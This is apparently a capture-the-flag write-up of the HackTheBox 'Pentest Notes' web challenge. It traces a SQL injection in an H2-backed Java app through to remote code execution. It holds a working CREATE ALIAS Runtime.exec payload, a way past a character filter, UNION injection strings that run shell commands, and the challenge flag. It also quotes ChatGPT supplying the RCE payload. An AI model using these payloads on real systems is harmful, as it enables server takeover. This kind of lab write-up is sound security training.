Skip to main content

HackTheBox Challenge Pentest Notes (Web)

740 words
Edwin | Shiro
Author
Edwin | Shiro
「 ✦ OwO ✦ 」
Table of Contents

Challenge Synopsis
#

People-first web application projects are always a boring, like a note or a tic tac toe game, so I have created an upgraded version called ‘Pentest Note’! (Source)

Solution
#

![login](/assets/img/HackTheBox/Challenges/Pentest Notes/login.png)

There is a login page. Register for an account and login.

![dashboard](/assets/img/HackTheBox/Challenges/Pentest Notes/dashboard.png)

Analyzing the burp request, we notice that it sent a GET /api/notes HTTP/1.1 request.

HTTP/1.1 200 
Content-Type: application/json
Keep-Alive: timeout=60
Connection: keep-alive
Content-Length: 242

[
  {
    "Content": "One  ' to rule them all",
    "Note": "SQL Injection",
    "ID": 1
  },
  {
    "Content": "Script alert 1 !!!!!!!!!",
    "Note": "Cross Site Scripting",
    "ID": 2
  },
  {
    "Content": "IDK, can you tell me?                   ¯\\_(ツ)_/¯",
    "Note": "Skill issue",
    "ID": 3
  }
]

Lets try to select the first note.

![sqli_note](/assets/img/HackTheBox/Challenges/Pentest Notes/sqli_note.png)

Analyzing the burp request again, we notice that it sent a GET /note?name=SQL%20Injection HTTP/1.1 request.

HTTP/1.1 200 
Content-Type: text/html;charset=UTF-8
Content-Language: en-GB
Keep-Alive: timeout=60
Connection: keep-alive
Content-Length: 4515

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <title>Note Display</title>
    <link rel="stylesheet" href="/Css/note.css">
    <style>
        ...
    </style>
</head>
<body>
<div class="app">
    ...
</div>
<script>
    document.addEventListener('DOMContentLoaded', function () {
        const urlParams = new URLSearchParams(window.location.search);
        const nameParam = urlParams.get('name');

        if (nameParam) {
            const formData = new FormData();
            formData.append('name', nameParam);

            fetch('/api/note', {
                method: 'POST',
                body: formData
            })
                .then(response => {
                    if (!response.ok) {
                        throw new Error('Network response was not ok');
                    }
                    return response.json(); // Parse response as JSON
                })
                .then(data => {
                    const checklist = document.getElementById('checklist');
                    checklist.innerHTML = ''; // Clear previous content

                    if (data.length === 0) {
                        checklist.innerHTML = '<p>No checklist items available.</p>';
                    } else {
                        data.forEach(item => {
                            const checklistItem = document.createElement('div');
                            checklistItem.classList.add('checklist__item');

                            const itemTitle = document.createElement('div');
                            itemTitle.classList.add('checklist__item-title');
                            itemTitle.textContent = `ID: ${item.ID}`;

                            const itemContent = document.createElement('div');
                            itemContent.innerHTML = `Name: ${item.Name}<br>Note: ${item.Note}`; // Use innerHTML for line break

                            checklistItem.appendChild(itemTitle);
                            checklistItem.appendChild(itemContent);

                            checklist.appendChild(checklistItem);
                        });
                    }
                })
                .catch(error => {
                    console.error('Error fetching note data:', error);
                });
        } else {
            console.error('No "name" parameter found in the URL.');
        }
    });
</script>

</body>
</html>

Notice that the html script is fetching from /api/note but the http request is being sent to /note?name=<name>. Lets send the request to repeater and send a GET /api/note?name=a HTTP/1.1 request.

HTTP/1.1 405 
Allow: POST
Content-Type: text/html;charset=UTF-8
Content-Language: en-GB
Content-Length: 284
Keep-Alive: timeout=60
Connection: keep-alive

<html><body><h1>Whitelabel Error Page</h1><p>This application has no explicit mapping for /error, so you are seeing this as a fallback.</p><div id='created'>Sat May 24 12:16:26 UTC 2025</div><div>There was an unexpected error (type=Method Not Allowed, status=405).</div></body></html>

It responded with Method Not Allowed. Right click and change request method to send a POST /api/note HTTP/1.1 request with parameter name=a.

HTTP/1.1 200 
Content-Type: application/json
Keep-Alive: timeout=60
Connection: keep-alive
Content-Length: 2

[]

What if we send a POST /api/note HTTP/1.1 request with parameter name=a'?

HTTP/1.1 500 
Content-Type: text/html;charset=UTF-8
Content-Language: en-GB
Content-Length: 287
Connection: close

<html><body><h1>Whitelabel Error Page</h1><p>This application has no explicit mapping for /error, so you are seeing this as a fallback.</p><div id='created'>Sat May 24 12:19:26 UTC 2025</div><div>There was an unexpected error (type=Internal Server Error, status=500).</div></body></html>

It responded with Internal Server Error, which suggest that it is vulnerable to SQLi.

Using ChatGPT, I managed to find a payload that can exploit H2 database to get RCE.

-- query: I'm currently learning to exploit a Java webapp with H2 database. I found that it is vulnerable to SQLi. What is a payload that I can try to RCE?
-- response:
'; 
CREATE ALIAS SHELL AS
$$ String shell(String cmd) throws java.io.IOException {
     java.util.Scanner s = new java.util.Scanner(
         Runtime.getRuntime().exec(cmd).getInputStream()
     ).useDelimiter("\\A");
     return s.hasNext() ? s.next() : "";
} $$; 
-- 

This registers a function SHELL(cmd) that returns the command’s stdout. You can then trigger RCE with:

'; 
SELECT SHELL('whoami'); 
-- 

However, when I tried this payload, it responded with Bad character in name :). Narrowing the payload, I managed to figure out that $$ was the problem. Turns out we can replace $$ with .

Lets try the new payload in Burp Repeater.

![sqli_payload_pass](/assets/img/HackTheBox/Challenges/Pentest Notes/sqli_payload_pass.png)

Nice, it looks like the bypass worked. Lets try calling executing the alias.

![execute_shell](/assets/img/HackTheBox/Challenges/Pentest Notes/execute_shell.png)

It worked, we managed to execute a command!

Lets list the directories with # name=a'UNION+SELECT+1,2,SELECT+TEST_SHELL('ls')%3b+--+.

HTTP/1.1 200 
Content-Type: application/json
Date: Sat, 24 May 2025 13:19:49 GMT
Keep-Alive: timeout=60
Connection: keep-alive
Content-Length: 67

[{"Note":"mvnw\nmvnw.cmd\npom.xml\nsrc\ntarget\n","ID":1,"Name":2}]

Now lets list the parent directory with # name=a'UNION+SELECT+1,2,SELECT+TEST_SHELL('ls+../')%3b+--+.

HTTP/1.1 200 
Content-Type: application/json
Date: Sat, 24 May 2025 13:10:35 GMT
Keep-Alive: timeout=60
Connection: keep-alive
Content-Length: 161

[{"Note":"JN8fe3XRqTYK_flag.txt\napp\nbin\nboot\ndev\netc\nhome\nlib\nlib64\nmedia\nmnt\nopt\nproc\nroot\nrun\nsbin\nsrv\nsys\ntmp\nusr\nvar\n","ID":1,"Name":2}]

Now we can get the flag with # name=a'UNION+SELECT+1,2,SELECT+TEST_SHELL('cat ../JN8fe3XRqTYK_flag.txt')%3b+--+.

HTTP/1.1 200 
Content-Type: application/json
Date: Sat, 24 May 2025 13:25:58 GMT
Keep-Alive: timeout=60
Connection: keep-alive
Content-Length: 68

[{"Note":"HTB{y0u_w1ll_n33d_a_ch3ckl1st_f0r_sUr3}","ID":1,"Name":2}]

Flag: HTB{y0u_w1ll_n33d_a_ch3ckl1st_f0r_sUr3}